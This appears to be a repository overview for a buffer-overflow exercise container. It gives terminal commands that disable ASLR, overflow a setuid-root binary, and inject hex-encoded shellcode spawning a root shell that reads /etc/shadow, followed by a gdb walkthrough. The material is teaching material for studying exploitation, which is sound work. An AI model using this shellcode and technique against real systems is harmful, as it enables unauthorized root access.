suezawa/exploit-exercise2 repository overview

# on root
sysctl -w kernel.randomize_va_space=2

docker run --rm --privileged -it suezawa/exploit-exercise2 /bin/bash

# on root
sysctl -w kernel.randomize_va_space=0

# su appuser --shell=/bin/bash

$ echo Test | ./bof
  buf = 0x7ffc34d609f0
  Test

$ python -c "print ('A'*200)" | ./bof
buf = 0x7fffffffe610
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault

$ cat /etc/shadow
cat: /etc/shadow: Permission denied

$ ./bof
buf = 0x7fffffffe590
$ ./bof
buf = 0x7fffffffe590

$ ls -l bof
-rwsr-sr-x 1 root root 2051370 Jan 10 04:53 bof
$
$ python exploit_print.py 0x7fffffffe590 | ./bof
  buf = 0x7fffffffe590
  H1�H�/bin/sh

id
#[return] uid=1000(appuser) gid=37(appuser) euid=0(root) egid=0(root) groups=0(root),37(appuser)
cat /etc/shadow
#[return] root:*:18179:0:99999:7:::

# on root
gdb bof -x gdb-autocommand

# on root 
python exploit_print.py 0x7fffffffe590 | strace ./bof 2>&1 | grep "/bin/sh"
read(0, "H1\300H\270/bin/sh\0PI\211\340H1\300H\307\300-p\0\0PI\211\341H"..., 4096) = 129
write(1, "H1\300H\270/bin/sh\n", 13H1�H�/bin/sh
execve("/bin/sh", ["/bin/sh", "-p"], NULL) = 0

# on root
sysctl -w kernel.randomize_va_space=2

# rasm2 -f shellcode.s
4831c048b82f62696e2f736800504989e04831c048c7c02d700000504989e14831c050415141504989e248c7c03b0000004c89c74c89d64831d20f05

gcc -fno-stack-protector -z execstack bof.c -o /bof

# gdb bof
gdb-peda$ run
Starting program: /home/appuser/bof
buf = 0x7fffffffe5d0
^C(Ctrl+C)

gdb-peda$ shell python exploit_print.py 0x7fffffffe5d0 > input.txt
^C(Ctrl+C)

gdb-peda$ start < input.txt
gdb-peda$ break *0x400632
gdb-peda$ continue
gdb-peda$ stepi